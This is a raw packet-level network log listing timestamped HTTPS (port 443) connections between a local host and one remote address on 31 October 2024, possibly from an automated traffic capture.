Oct 31, 2024 17:27:18.223543882 CET	62943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.223550081 CET	443	62943	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.347892046 CET	443	62944	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.348617077 CET	62944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.348642111 CET	443	62944	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.349013090 CET	62944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.349015951 CET	443	62944	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.352468967 CET	443	62943	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.352669001 CET	443	62943	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.352741957 CET	62943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.352785110 CET	62943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.352802038 CET	443	62943	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.352812052 CET	62943	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.352818966 CET	443	62943	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.356307983 CET	62947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.356357098 CET	443	62947	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.356429100 CET	62947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.356558084 CET	62947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.356584072 CET	443	62947	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.372042894 CET	443	62942	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.372514009 CET	62942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.372538090 CET	443	62942	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.372869968 CET	62942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.372874022 CET	443	62942	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.417340994 CET	443	62945	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.417737007 CET	62945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.417758942 CET	443	62945	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.418193102 CET	62945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.418199062 CET	443	62945	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.479053974 CET	443	62944	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.479114056 CET	443	62944	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.479279041 CET	62944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.479419947 CET	62944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.479437113 CET	443	62944	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.479448080 CET	62944	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.479453087 CET	443	62944	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.482166052 CET	62948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.482204914 CET	443	62948	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.482280016 CET	62948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.482450008 CET	62948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.482461929 CET	443	62948	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.528527975 CET	443	62942	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.528671026 CET	443	62942	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.528722048 CET	443	62942	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.528835058 CET	62942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.528835058 CET	62942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.528933048 CET	62942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.528949022 CET	443	62942	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.528961897 CET	62942	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.528966904 CET	443	62942	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.532068014 CET	62949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.532114983 CET	443	62949	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.532200098 CET	62949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.532360077 CET	62949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.532373905 CET	443	62949	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.550373077 CET	443	62945	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.550566912 CET	443	62945	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.550755978 CET	62945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.550755978 CET	62945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.550755978 CET	62945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.552820921 CET	62950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.552854061 CET	443	62950	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.552921057 CET	62950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.553044081 CET	62950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.553060055 CET	443	62950	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.747298002 CET	443	62946	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.748163939 CET	62946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.748195887 CET	443	62946	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.748560905 CET	62946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.748565912 CET	443	62946	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.851300001 CET	62945	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.851347923 CET	443	62945	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.880074978 CET	443	62946	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.880141973 CET	443	62946	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.880259037 CET	443	62946	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.880302906 CET	62946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.880326033 CET	62946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.880485058 CET	62946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.880497932 CET	443	62946	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.880507946 CET	62946	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.880512953 CET	443	62946	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.883822918 CET	62951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.883872032 CET	443	62951	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:18.883965015 CET	62951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.884134054 CET	62951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:18.884149075 CET	443	62951	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.101459026 CET	443	62947	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.102037907 CET	62947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.102066040 CET	443	62947	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.102574110 CET	62947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.102581024 CET	443	62947	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.230298996 CET	443	62948	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.230604887 CET	443	62947	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.230788946 CET	443	62947	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.230837107 CET	62948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.230851889 CET	62947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.230870962 CET	443	62948	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.230978966 CET	62947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.231002092 CET	443	62947	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.231019974 CET	62947	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.231026888 CET	443	62947	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.231333017 CET	62948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.231338024 CET	443	62948	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.233771086 CET	62952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.233865976 CET	443	62952	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.233953953 CET	62952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.234086037 CET	62952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.234110117 CET	443	62952	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.275098085 CET	443	62949	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.275583029 CET	62949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.275612116 CET	443	62949	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.276081085 CET	62949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.276087046 CET	443	62949	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.324309111 CET	443	62950	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.324882030 CET	62950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.324904919 CET	443	62950	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.325386047 CET	62950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.325392008 CET	443	62950	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.362767935 CET	443	62948	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.362987995 CET	443	62948	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.363054991 CET	62948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.363157988 CET	62948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.363178968 CET	443	62948	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.363193035 CET	62948	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.363198042 CET	443	62948	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.366167068 CET	62953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.366213083 CET	443	62953	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.366297007 CET	62953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.366450071 CET	62953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.366465092 CET	443	62953	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.407519102 CET	443	62949	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.407593966 CET	443	62949	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.407660961 CET	62949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.407834053 CET	62949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.407851934 CET	443	62949	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.407862902 CET	62949	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.407867908 CET	443	62949	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.410728931 CET	62954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.410793066 CET	443	62954	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.410885096 CET	62954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.411036015 CET	62954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.411066055 CET	443	62954	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.460541010 CET	443	62950	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.460587978 CET	443	62950	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.460644007 CET	443	62950	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.460644960 CET	62950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.460685968 CET	62950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.461024046 CET	62950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.461050987 CET	443	62950	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.461066008 CET	62950	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.461071968 CET	443	62950	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.463742971 CET	62955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.463777065 CET	443	62955	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.463859081 CET	62955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.464000940 CET	62955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.464013100 CET	443	62955	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.623684883 CET	443	62951	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.624361992 CET	62951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.624392033 CET	443	62951	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.624861956 CET	62951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.624867916 CET	443	62951	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.755094051 CET	443	62951	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.755620003 CET	443	62951	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.755686045 CET	62951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.755747080 CET	62951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.755747080 CET	62951	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.755767107 CET	443	62951	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.755778074 CET	443	62951	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.759114981 CET	62956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.759160042 CET	443	62956	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.759226084 CET	62956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.759527922 CET	62956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.759541035 CET	443	62956	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.980937004 CET	443	62952	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.981595039 CET	62952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.981652975 CET	443	62952	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:19.982095003 CET	62952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:19.982109070 CET	443	62952	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.100255966 CET	443	62953	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.100776911 CET	62953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.100792885 CET	443	62953	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.101371050 CET	62953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.101377010 CET	443	62953	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.112251997 CET	443	62952	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.112421989 CET	443	62952	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.112493038 CET	62952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.112586021 CET	62952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.112621069 CET	443	62952	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.112638950 CET	62952	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.112648010 CET	443	62952	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.115535021 CET	62957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.115573883 CET	443	62957	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.115643978 CET	62957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.115786076 CET	62957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.115797997 CET	443	62957	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.160378933 CET	443	62954	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.160825968 CET	62954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.160873890 CET	443	62954	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.161284924 CET	62954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.161298037 CET	443	62954	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.194542885 CET	443	62955	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.194935083 CET	62955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.194952011 CET	443	62955	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.195643902 CET	62955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.195648909 CET	443	62955	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.231707096 CET	443	62953	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.232002020 CET	443	62953	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.232064009 CET	62953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.232111931 CET	62953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.232136011 CET	443	62953	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.232147932 CET	62953	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.232158899 CET	443	62953	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.235011101 CET	62958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.235063076 CET	443	62958	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.235133886 CET	62958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.235281944 CET	62958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.235295057 CET	443	62958	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.292531967 CET	443	62954	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.292568922 CET	443	62954	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.292618990 CET	443	62954	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.292642117 CET	62954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.292717934 CET	62954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.292821884 CET	62954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.292821884 CET	62954	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.292875051 CET	443	62954	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.292903900 CET	443	62954	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.295238972 CET	62959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.295259953 CET	443	62959	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.295310974 CET	62959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.295433044 CET	62959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.295444012 CET	443	62959	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.325531960 CET	443	62955	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.325783014 CET	443	62955	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.325839043 CET	62955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.325875998 CET	62955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.325875998 CET	62955	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.325894117 CET	443	62955	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.325902939 CET	443	62955	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.328579903 CET	62960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.328603029 CET	443	62960	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.328666925 CET	62960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.328799009 CET	62960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.328810930 CET	443	62960	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.503895044 CET	443	62956	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.504477978 CET	62956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.504496098 CET	443	62956	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.505095959 CET	62956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.505099058 CET	443	62956	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.639631033 CET	443	62956	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.639699936 CET	443	62956	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.639763117 CET	62956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.639792919 CET	443	62956	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.639815092 CET	443	62956	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.639866114 CET	62956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.640091896 CET	62956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.640105963 CET	443	62956	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.640115976 CET	62956	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.640121937 CET	443	62956	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.643618107 CET	62961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.643707991 CET	443	62961	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.643795967 CET	62961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.643978119 CET	62961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.644006968 CET	443	62961	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.871180058 CET	443	62957	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.871702909 CET	62957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.871715069 CET	443	62957	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.872231007 CET	62957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.872236013 CET	443	62957	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.970379114 CET	443	62958	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.970973969 CET	62958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.970994949 CET	443	62958	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:20.971945047 CET	62958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:20.971950054 CET	443	62958	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.002393961 CET	443	62957	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.002551079 CET	443	62957	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.002602100 CET	62957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.002904892 CET	62957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.002904892 CET	62957	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.002928972 CET	443	62957	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.002939939 CET	443	62957	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.006457090 CET	62962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.006495953 CET	443	62962	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.006547928 CET	62962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.006782055 CET	62962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.006797075 CET	443	62962	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.025155067 CET	443	62959	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.025578976 CET	62959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.025613070 CET	443	62959	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.026036978 CET	62959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.026046038 CET	443	62959	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.064001083 CET	443	62960	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.064572096 CET	62960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.064585924 CET	443	62960	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.065160036 CET	62960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.065164089 CET	443	62960	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.100002050 CET	443	62958	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.100025892 CET	443	62958	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.100063086 CET	443	62958	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.100116968 CET	62958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.100270987 CET	62958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.100445032 CET	62958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.100461006 CET	443	62958	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.100471020 CET	62958	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.100475073 CET	443	62958	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.104671001 CET	62963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.104758024 CET	443	62963	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.104897976 CET	62963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.105000019 CET	62963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.105021000 CET	443	62963	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.154633999 CET	443	62959	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.154706001 CET	443	62959	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.154881001 CET	62959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.155003071 CET	62959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.155020952 CET	443	62959	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.155033112 CET	62959	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.155039072 CET	443	62959	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.158179998 CET	62964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.158202887 CET	443	62964	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.158284903 CET	62964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.158500910 CET	62964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.158513069 CET	443	62964	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.198085070 CET	443	62960	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.198123932 CET	443	62960	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.198178053 CET	443	62960	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.198271036 CET	62960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.198271036 CET	62960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.198498011 CET	62960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.198517084 CET	443	62960	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.198533058 CET	62960	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.198539019 CET	443	62960	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.201816082 CET	62965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.201841116 CET	443	62965	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.201931953 CET	62965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.202105999 CET	62965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.202115059 CET	443	62965	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.375513077 CET	443	62961	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.376326084 CET	62961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.376359940 CET	443	62961	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.376718998 CET	62961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.376730919 CET	443	62961	13.107.246.45	192.168.2.4
